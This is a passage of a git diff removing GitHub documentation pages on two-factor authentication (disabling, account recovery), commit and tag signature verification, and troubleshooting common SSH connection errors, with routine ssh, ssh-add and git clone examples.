-<li>Slovakia</li> -<li>Slovenia</li> -<li>South Africa</li> -<li>South Korea</li> -<li>Spain</li> -<li>Sri Lanka</li> -<li>St Lucia</li> -<li>Sudan</li> -<li>Sweden</li> -<li>Switzerland</li> -<li>Taiwan</li> -<li>Tanzania</li> -<li>Togo</li> -<li>Trinidad and Tobago</li> -<li>Turks and Caicos Islands</li> -<li>Uganda</li> -<li>United Arab Emirates</li> -<li>United Kingdom</li> -<li>United States</li> -<li>Uruguay</li> -<li>Venezuela</li> -</ul> - -## Further reading - -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication) diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md deleted file mode 100644 index 0963a7e51446..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Disabling two-factor authentication for your personal account -intro: 'If you disable two-factor authentication for your personal account, you may lose access to organizations you belong to.' -redirect_from: - - /articles/disabling-two-factor-authentication-for-your-personal-account - - /github/authenticating-to-github/disabling-two-factor-authentication-for-your-personal-account - - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - 2FA -shortTitle: Disable 2FA ---- - -{% ifversion mandatory-2fa-dotcom-contributors %} -{% data reusables.two_fa.mandatory-2fa-contributors-2023 %} -{% endif %} - -{% ifversion fpt or ghec %} -> [!WARNING] -> If you're a member{% ifversion fpt or ghec %} or billing manager{% endif %} to a repository of an organization that requires two-factor authentication and you disable 2FA, you'll lose your access to their repositories. To regain access to the organization, re-enable two-factor authentication. -{% else %} -> [!WARNING] -> If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a repository of an organization that requires two-factor authentication and you disable 2FA, you'll be automatically removed from the organization, and you'll lose your access to their repositories. To regain access to the organization, re-enable two-factor authentication and contact an organization owner. -{% endif %} - -We strongly recommend using two-factor authentication (2FA) to secure your account. If you need to disable 2FA, we recommend re-enabling it as soon as possible. - -{% ifversion mandatory-2fa-dotcom-contributors %} -If you are part of the group that {% data variables.product.prodname_dotcom %} is requiring to enroll in 2FA in 2023, you cannot disable 2FA. A banner will display in your authentication settings to remind you that you are not allowed to disable 2FA. For more information about our 2023 2FA enrollment rollout for contributors to {% data variables.product.prodname_dotcom %}, see [this blog post](https://github.blog/2023-03-09-raising-the-bar-for-software-security-github-2fa-begins-march-13). - -You can modify your existing 2FA configuration instead of disabling it entirely. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-your-two-factor-authentication-method). -{% endif %} - -{% ifversion fpt or ghec %} -If your organization requires two-factor authentication and you're an outside collaborator on a repository of your organization, you must first leave the organization before you can disable two-factor authentication. To remove yourself from your organization, visit your Organizations settings page and select "Leave", or ask an organization owner or repository administrator to remove you from the organization's repositories. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/removing-an-outside-collaborator-from-an-organization-repository). -{% else %} -If your organization requires two-factor authentication and you're a member, owner, or an outside collaborator on a repository of your organization, you must first leave your organization before you can disable two-factor authentication. - -To remove yourself from your organization: -* As an organization member or owner, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization). -* As an outside collaborator, ask an organization owner or repository administrator to remove you from the organization's repositories. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/removing-an-outside-collaborator-from-an-organization-repository). -{% endif %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} - -1. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then select **Disable two-factor authentication**. - - ![Screenshot of an account's 2FA settings. The ellipsis button (three dots) is highlighted with a dark orange outline.](/assets/images/help/2fa/disable-two-factor-authentication.png) - -1. If necessary, enter your password or perform 2FA once more to disable 2FA for your {% data variables.product.prodname_dotcom %} account. - -## Further reading - -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods) diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md deleted file mode 100644 index 6fc5ecbf6599..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Securing your account with two-factor authentication (2FA) -intro: 'You can set up your account on {% data variables.product.prodname_dotcom %} to require an authentication code in addition to your password when you sign in.' -redirect_from: - - /categories/84/articles - - /categories/two-factor-authentication-2fa - - /articles/securing-your-account-with-two-factor-authentication-2fa - - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - 2FA -children: - - /about-two-factor-authentication - - /configuring-two-factor-authentication - - /configuring-two-factor-authentication-recovery-methods - - /accessing-github-using-two-factor-authentication - - /recovering-your-account-if-you-lose-your-2fa-credentials - - /changing-your-two-factor-authentication-method - - /about-mandatory-two-factor-authentication - - /countries-where-sms-authentication-is-supported - - /disabling-two-factor-authentication-for-your-personal-account -shortTitle: Secure your account with 2FA ---- - -{% ifversion mandatory-2fa-dotcom-contributors %} -{% data reusables.two_fa.mandatory-2fa-contributors-2023 %} -{% endif %} diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md deleted file mode 100644 index e4ca3602be89..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Recovering your account if you lose your 2FA credentials -intro: 'If you lose access to your two-factor authentication credentials, you can use your recovery codes, or another recovery option, to regain access to your account.' -redirect_from: - - /articles/recovering-your-account-if-you-lost-your-2fa-credentials - - /articles/authenticating-with-an-account-recovery-token - - /articles/recovering-your-account-if-you-lose-your-2fa-credentials - - /github/authenticating-to-github/recovering-your-account-if-you-lose-your-2fa-credentials - - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - 2FA -shortTitle: Recover an account with 2FA ---- -{% ifversion fpt or ghec %} - -> [!WARNING] -> {% data reusables.two_fa.support-may-not-help %} - -> [!NOTE] -> {% data reusables.two_fa.unlink-email-address %} - -{% endif %} - -## Using a two-factor authentication recovery code - -Use one of your recovery codes to automatically regain entry into your account. You may have saved your recovery codes to a password manager or your computer's downloads folder. The default filename for recovery codes is `github-recovery-codes.txt`. For more information about recovery codes, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes). - -1. Type your username and password to prompt authentication. - - > [!NOTE] - > If you do not know your password, you can use a recovery code after requesting a new password. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials#requesting-a-new-password). - -1. Under "Having problems?", click **Use a recovery code{% ifversion fpt or ghec %} or begin 2FA account recovery{% endif %}**. -1. Type one of your recovery codes, then click **Verify**. - -{% ifversion passkeys %} - -## Authenticating with a passkey - -If you have added a passkey to your account, you can use your passkey to automatically regain access to your account. Passkeys satisfy both password and 2FA requirements, so you don't need to know your password in order to recover your account. See [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys). - -{% endif %} - -## Authenticating with a security key - -If you configured two-factor authentication using a security key, you can use your security key as a secondary authentication method to automatically regain access to your account. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key). - -{% ifversion fpt or ghec %} - -## Authenticating with a fallback number - -> [!NOTE] -> Configuring a fallback SMS number in addition to your primary SMS number is no longer supported. Instead, we strongly recommend registering multiple authentication methods. - -If you lose access to your preferred TOTP app or phone number, you can provide a two-factor authentication code sent to your fallback number to automatically regain access to your account. - -## Authenticating with a verified device, SSH token, or {% data variables.product.pat_generic %} - -If you know your password for {% data variables.product.prodname_dotcom %} but don't have the two-factor authentication credentials or your two-factor authentication recovery codes, you can have a one-time password sent to your verified email address to begin the verification process. You'll need to verify your identity using a recovery authentication factor, such as an SSH key or previously verified device. - -> [!NOTE] -> For security reasons, regaining access to your account by authenticating with a one-time password can take up to three business days. {% data variables.product.company_short %} will not review additional requests submitted during this time. - -You can use your two-factor authentication credentials or two-factor authentication recovery codes to regain access to your account anytime during the 3-5 day waiting period. - -1. Type your username and password to prompt authentication. - - > [!WARNING] - > {% data reusables.accounts.you-must-know-your-password %} - -1. Under "Having problems?", click **Use a recovery code or begin 2FA account recovery**. -1. Under "Locked out?", click **Try 2FA account recovery, or unlink your account email address(es)**. -1. Click **I understand, get started** to request a reset of your authentication settings. -1. Click **Send one-time password** to send a one-time password to all eligible addresses associated with your account. Only verified emails are eligible for account recovery. If you've restricted password resets to your primary and/or backup addresses, these addresses are the only addresses eligible for account recovery. -1. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent, then click **Verify email address**. -1. {% data reusables.accounts.alternative-authentication %} - {% data reusables.accounts.alternative-authentication-note %} -1. {% data reusables.accounts.support-request-recovery %} - -{% endif %} - -{% ifversion 2fa-recovery-flow %} - -## Recovering without your password - -If you have forgotten your password, you can request a new password. During the password reset process, you can use one of your two-factor authentication credentials or a recovery code. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials#requesting-a-new-password). - -### Recovering without your password or two-factor authentication credentials - -If you have lost access to your two-factor authentication credentials and your recovery codes, you can start account recovery request. You'll need to verify your identity using a recovery authentication factor, such as an SSH key or previously verified device. - -{% data reusables.accounts.request-password-reset-link %} - -1. On {% data variables.product.prodname_dotcom %}, you will be prompted for your 2FA credentials. Under "Having problems?", click **Start a 2FA recovery request or unlink your account email address(es)**. -1. To complete your recovery request, you'll need to verify an alternative authentication factor. -{% data reusables.accounts.alternative-authentication %} - {% data reusables.accounts.alternative-authentication-note %} -1. {% data reusables.accounts.support-request-recovery %} - -## Unlinking your email address - -If you have exhausted your recovery options, you can unlink your email address from your account. The email address is then available for you to link it to a new or existing account, maintaining your commit history. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/unlinking-your-email-address-from-a-locked-account#unlinking-without-your-password). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods) diff --git a/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md b/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md deleted file mode 100644 index 4bd42cd753e7..000000000000 --- a/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Checking your commit and tag signature verification status -intro: 'You can check the verification status of your commit and tag signatures on {% data variables.product.github %}.' -redirect_from: - - /articles/checking-your-gpg-commit-and-tag-signature-verification-status - - /articles/checking-your-commit-and-tag-signature-verification-status - - /github/authenticating-to-github/checking-your-commit-and-tag-signature-verification-status - - /github/authenticating-to-github/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Check verification status ---- - -## Checking your commit signature verification status - -1. On {% data variables.product.github %}, navigate to your pull request. -{% data reusables.repositories.review-pr-commits %} -1. Next to your commit's abbreviated commit hash, there is a box that shows whether your commit signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified. - - ![Screenshot of a commit in the commit list for a repository. "Verified" is highlighted with an orange outline.](/assets/images/help/commits/verified-commit.png) -1. To view more detailed information about the commit signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. - - GPG signed commits will show the ID of the key that was used. SSH signed commits will show the signature of the public key that was used. - -## Checking your tag signature verification status - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -1. At the top of the Releases page, click **Tags**. -1. Next to your tag description, there is a box that shows whether your tag signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified. - - ![Screenshot of a tag in the tag list for a repository. "Verified" is highlighted with an orange outline.](/assets/images/help/commits/gpg-signed-tag-verified.png) -1. To view more detailed information about the tag signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-tags) diff --git a/content/authentication/troubleshooting-commit-signature-verification/index.md b/content/authentication/troubleshooting-commit-signature-verification/index.md deleted file mode 100644 index d8bc9c944619..000000000000 --- a/content/authentication/troubleshooting-commit-signature-verification/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Troubleshooting commit signature verification -intro: 'You may need to troubleshoot unexpected issues that arise when signing commits locally for verification on {% data variables.product.github %}.' -redirect_from: - - /articles/troubleshooting-gpg - - /articles/troubleshooting-commit-signature-verification - - /github/authenticating-to-github/troubleshooting-commit-signature-verification -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -children: - - /checking-your-commit-and-tag-signature-verification-status - - /using-a-verified-email-address-in-your-gpg-key -shortTitle: Troubleshoot verification ---- diff --git a/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md b/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md deleted file mode 100644 index ed27b93689e0..000000000000 --- a/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Using a verified email address in your GPG key -intro: 'When verifying a signature, {% data variables.product.github %} checks that the committer or tagger email address matches an email address from the GPG key''s identities and is a verified email address on the user''s account. This ensures that the key belongs to you and that you created the commit or tag.' -redirect_from: - - /articles/using-a-verified-email-address-in-your-gpg-key - - /github/authenticating-to-github/using-a-verified-email-address-in-your-gpg-key - - /github/authenticating-to-github/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Use verified email in GPG key ---- -{% ifversion fpt or ghec %} -If you need to verify your GitHub email address, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address). {% endif %}If you need to update or add an email address to your GPG key, see [AUTOTITLE](/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key). - -Commits and tags may contain several email addresses. For commits, there is the author — the person who wrote the code — and the committer — the person who added the commit to the tree. When signing a commit with Git, whether it be during a merge, cherry-pick, or normal `git commit`, the committer email address will be yours, even if the author email address isn't. Tags are more simple: The tagger email address is always the user who created the tag. - -If you need to change your committer or tagger email address, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address). - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification) diff --git a/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md b/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md deleted file mode 100644 index 7fe64e274d5f..000000000000 --- a/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Deleted or missing SSH keys -intro: 'As a security precaution, {% data variables.product.prodname_dotcom %} automatically deletes SSH keys that haven''t been used in a year.' -redirect_from: - - /articles/deleted-or-missing-ssh-keys - - /github/authenticating-to-github/deleted-or-missing-ssh-keys - - /github/authenticating-to-github/troubleshooting-ssh/deleted-or-missing-ssh-keys -versions: - fpt: '*' - ghec: '*' -topics: - - SSH -shortTitle: Deleted or missing SSH keys ---- -{% data variables.product.prodname_dotcom %} automatically deletes inactive SSH keys to help keep accounts safe, such as after someone leaves a job or loses a computer. - -You can check if you haven't used an SSH key in a year by reviewing your account's security log. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log). - -After your inactive SSH key is deleted, you must generate a new SSH key and associate it with your account. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) and [AUTOTITLE](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account). diff --git a/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md b/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md deleted file mode 100644 index 86bce2e154fd..000000000000 --- a/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: 'Error: Agent admitted failure to sign' -intro: 'In rare circumstances, connecting to {% data variables.product.github %} via SSH on Linux produces the error `"Agent admitted failure to sign using the key"`. Follow these steps to resolve the problem.' -redirect_from: - - /articles/error-agent-admitted-failure-to-sign-using-the-key - - /articles/error-agent-admitted-failure-to-sign - - /github/authenticating-to-github/error-agent-admitted-failure-to-sign - - /github/authenticating-to-github/troubleshooting-ssh/error-agent-admitted-failure-to-sign -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: Agent failure to sign ---- -When trying to SSH into {% data variables.location.product_location %} on a Linux computer, you may see the following message in your terminal: - -```shell -$ ssh -vT git@{% data variables.product.product_url %} -> ... -> Agent admitted failure to sign using the key. -> debug1: No more authentication methods to try. -> Permission denied (publickey). -``` - -For more details, see [this issue report](https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786) on Canonical Launchpad. - -## Resolution - -You should be able to fix this error by loading your keys into your SSH agent with `ssh-add`: - -```shell -# start the ssh-agent in the background -$ eval "$(ssh-agent -s)" -> Agent pid 59566 -$ ssh-add -> Enter passphrase for /home/YOU/.ssh/id_rsa: [tippy tap] -> Identity added: /home/YOU/.ssh/id_rsa (/home/YOU/.ssh/id_rsa) -``` - -If your key does not have the default filename (`/.ssh/id_rsa`), you'll have to pass that path to `ssh-add`: - -```shell -# start the ssh-agent in the background -$ eval "$(ssh-agent -s)" -> Agent pid 59566 -$ ssh-add ~/.ssh/my_other_key -> Enter passphrase for /home/YOU/.ssh/my_other_key: [tappity tap tap] -> Identity added: /home/YOU/.ssh/my_other_key (/home/YOU/.ssh/my_other_key) -``` diff --git a/content/authentication/troubleshooting-ssh/error-bad-file-number.md b/content/authentication/troubleshooting-ssh/error-bad-file-number.md deleted file mode 100644 index f06fac7efb20..000000000000 --- a/content/authentication/troubleshooting-ssh/error-bad-file-number.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: 'Error: Bad file number' -intro: This error usually means you were unable to connect to the server. Often this is caused by firewalls and proxy servers. -redirect_from: - - /articles/error-bad-file-number - - /github/authenticating-to-github/error-bad-file-number - - /github/authenticating-to-github/troubleshooting-ssh/error-bad-file-number -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH ---- -When running remote Git commands or SSH, your connection might time out: - -```shell -$ ssh -vT git@{% data variables.product.product_url %} -> OpenSSH_8.1p1, LibreSSL 2.7.3 -> debug1: Connecting to {% data variables.product.product_url %} [207.97.227.239] port 22. -> debug1: connect to address 207.97.227.239 port 22: Connection timed out -> ssh: connect to host {% data variables.product.product_url %} port 22: Connection timed out -> ssh: connect to host {% data variables.product.product_url %} port 22: Bad file number -``` - -## Solving the issue - -### Use HTTPS - -Often, the simplest solution is to simply avoid SSH entirely. Most firewalls and proxies allow HTTPS traffic without issue. To take advantage of this, change [the remote URL](/get-started/git-basics/about-remote-repositories) you're using: - -```shell -$ git clone https://{% data variables.product.product_url %}/USERNAME/REPO-NAME.git -> Cloning into 'reponame'... -> remote: Counting objects: 84, done. -> remote: Compressing objects: 100% (45/45), done. -> remote: Total 84 (delta 43), reused 78 (delta 37) -> Unpacking objects: 100% (84/84), done. -``` - -### Test from a different network - -If you can connect the computer to another network that doesn't have a firewall, you can try testing your SSH connection to {% data variables.product.github %}. If everything works as it should, contact your network administrator for help on changing the firewall settings to allow your SSH connection to succeed. - -{% ifversion fpt or ghec %} - -### Using SSH over the HTTPS port - -If using HTTPS is not an option, and your firewall admin refuses to allow SSH connections, you can try using [SSH over the HTTPS port](/authentication/troubleshooting-ssh/using-ssh-over-the-https-port) instead. - -{% endif %} - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/get-started/using-github/troubleshooting-connectivity-problems) - -{% endif %} diff --git a/content/authentication/troubleshooting-ssh/error-host-key-verification-failed.md b/content/authentication/troubleshooting-ssh/error-host-key-verification-failed.md deleted file mode 100644 index a57a4f1af68c..000000000000 --- a/content/authentication/troubleshooting-ssh/error-host-key-verification-failed.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: 'Error: Host key verification failed' -intro: 'As a security precaution, SSH keeps track of which hosts it has previously seen.' -versions: - fpt: '*' - ghec: '*' -topics: - - SSH ---- - -This error means that the server to which you're connecting presented a key that doesn't match the keys seen for this server in the past. - -You may see this error if the server has changed its keys unexpectedly, in which case you should be able to find an official report from a trustworthy source announcing the change. If {% data variables.product.company_short %} changes its SSH host key, this will be announced on {% data variables.product.prodname_blog %} at [github.blog](https://github.blog/). - -You can find an up-to-date list of {% data variables.product.company_short %}'s public SSH keys on {% data variables.product.prodname_docs %}. You may need to add these keys to your `known_hosts` file. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints). - -If you are encountering the error but can't find an official source for the server's keys, it is safest not to connect, because you may be connecting to a server other than your intended server. You may want to contact your IT department or the server's support team for help. If the server is being impersonated, the owner of the server will appreciate you informing them. diff --git a/content/authentication/troubleshooting-ssh/error-key-already-in-use.md b/content/authentication/troubleshooting-ssh/error-key-already-in-use.md deleted file mode 100644 index a7a9f04e864f..000000000000 --- a/content/authentication/troubleshooting-ssh/error-key-already-in-use.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 'Error: Key already in use' -intro: 'This error occurs when you try to [add a key](/articles/adding-a-new-ssh-key-to-your-github-account) that''s already been added to another account or repository.' -redirect_from: - - /articles/error-key-already-in-use - - /github/authenticating-to-github/error-key-already-in-use - - /github/authenticating-to-github/troubleshooting-ssh/error-key-already-in-use -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH ---- -## Finding where the key has been used - -To determine where the key has already been used, open a terminal and type the `ssh` command. Use the `-i` flag to provide the path to the key you want to check: - -```shell -$ ssh -T -ai ~/.ssh/id_rsa git@{% data variables.product.product_url %} -# Connect to {% data variables.location.product_location %} using a specific ssh key -> Hi USERNAME! You've successfully authenticated, but GitHub does not -> provide shell access. -``` - -The _username_ in the response is the account on {% data variables.location.product_location %} that the key is currently attached to. If the response looks something like "username/repo", the key has been attached to a repository as a [_deploy key_](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). - -To force SSH to use only the key provided on the command line, use `-o` to add the `IdentitiesOnly=yes` option: - -```shell -ssh -v -o "IdentitiesOnly=yes" -i ~/.ssh/id_rsa git@{% data variables.product.product_url %} -``` - -## Fixing the issue - -To resolve the issue, first remove the key from the other account or repository and then [add it to your account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account). - -If you don't have permissions to transfer the key, and can't contact a user who does, remove the keypair and [generate a brand new one](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -## Deploy keys - -Once a key has been attached to one repository as a deploy key, it cannot be used on another repository. If you're running into this error while setting up deploy keys, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys). diff --git a/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md b/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md deleted file mode 100644 index de169cc9cd94..000000000000 --- a/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md +++ /dev/null @@ -1,248 +0,0 @@ ---- -title: 'Error: Permission denied (publickey)' -intro: 'A "Permission denied" error means that the server rejected your connection. There could be several reasons why, and the most common examples are explained below.' -redirect_from: - - /articles/error-permission-denied-publickey - - /github/authenticating-to-github/error-permission-denied-publickey - - /github/authenticating-to-github/troubleshooting-ssh/error-permission-denied-publickey -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: Permission denied (publickey) ---- -{% ifversion ghec %} - -> [!NOTE] {% data reusables.enterprise-data-residency.access-domain %} - -{% endif %} - -## Should the `sudo` command or elevated privileges be used with Git? - -You should not be using the `sudo` command or elevated privileges, such as administrator permissions, with Git. - -If you have a _very good reason_ you must use `sudo`, then ensure you are using it with every command. If you [generate SSH keys](/authentication/connecting-to-github-with-ssh) without `sudo` and then try to use a command like `sudo git push`, you won't be using the same keys that you generated. - -## Check that you are connecting to the correct server - -To make sure you are connecting to the right domain, you can enter the following command: - -```shell copy -ssh -vT git@{% data variables.product.product_url %} -``` - -You should see this output: - -```shell -> OpenSSH_8.1p1, LibreSSL 2.7.3 -> debug1: Reading configuration data /Users/YOU/.ssh/config -> debug1: Reading configuration data /etc/ssh/ssh_config -> debug1: /etc/ssh/ssh_config line 47: Applying options for * -> debug1: Connecting to {% data variables.product.product_url %} port 22. -``` - -The connection should be made on port 22{% ifversion fpt or ghec %}, unless you're overriding settings to use [SSH over HTTPS](/authentication/troubleshooting-ssh/using-ssh-over-the-https-port){% endif %}. - -## Always use the "git" user - -All connections, including those for remote URLs, must be made as the "git" user. If you try to connect with your {% data variables.product.github %} username, it will fail: - -```shell -$ ssh -T GITHUB-USERNAME@{% data variables.product.product_url %} -> Permission denied (publickey). -``` - -If your connection failed and you're using a remote URL with your {% data variables.product.github %} username, you can [change the remote URL to use the "git" user](/get-started/git-basics/managing-remote-repositories). - -You should verify your connection by typing: - -```shell copy -ssh -T git@{% data variables.product.product_url %} -``` - -You should see this output: - -```shell -> Hi USERNAME! You've successfully authenticated... -``` - -## Make sure you have a key that is being used - -{% mac %} - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Verify that you have a private key generated and loaded into SSH. - - ```shell - # start the ssh-agent in the background - $ eval "$(ssh-agent -s)" - > Agent pid 59566 - $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows_git_bash %} - -1. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %} - - {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %} - - {% data reusables.desktop.note-start-ssh-agent %} - -1. Verify that you have a private key generated and loaded into SSH. - - ```shell - $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - -{% endwindows %} - -{% linux %} - -{% data reusables.command_line.open_the_multi_os_terminal %} - -1. Verify that you have a private key generated and loaded into SSH. - - ```shell - $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - -{% endlinux %} - -The `ssh-add` command _should_ print out a long string of numbers and letters. If it does not print anything, you will need to [generate a new SSH key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) and associate it with {% data variables.product.github %}. - -> [!TIP] -> On most systems the default private keys (`~/.ssh/id_rsa` and `~/.ssh/identity`) are automatically added to the SSH authentication agent. You shouldn't need to run `ssh-add path/to/key` unless you override the file name when you generate a key. - -### Getting more details - -You can also check that the key is being used by trying to connect to `git@{% data variables.product.product_url %}`: - -```shell copy -ssh -vT git@{% data variables.product.product_url %} -``` - -You'll see output like this: - -```shell -> ... -> debug1: identity file /Users/YOU/.ssh/id_rsa type -1 -> debug1: identity file /Users/YOU/.ssh/id_rsa-cert type -1 -> debug1: identity file /Users/YOU/.ssh/id_dsa type -1 -> debug1: identity file /Users/YOU/.ssh/id_dsa-cert type -1 -> ... -> debug1: Authentications that can continue: publickey -> debug1: Next authentication method: publickey -> debug1: Trying private key: /Users/YOU/.ssh/id_rsa -> debug1: Trying private key: /Users/YOU/.ssh/id_dsa -> debug1: No more authentication methods to try. -> Permission denied (publickey). -``` - -In this example, SSH did not find any keys. -* "-1" at the end of the "identity file" lines means SSH couldn't find a file to use. -* "Trying private key" lines indicate that no file was found. - -If 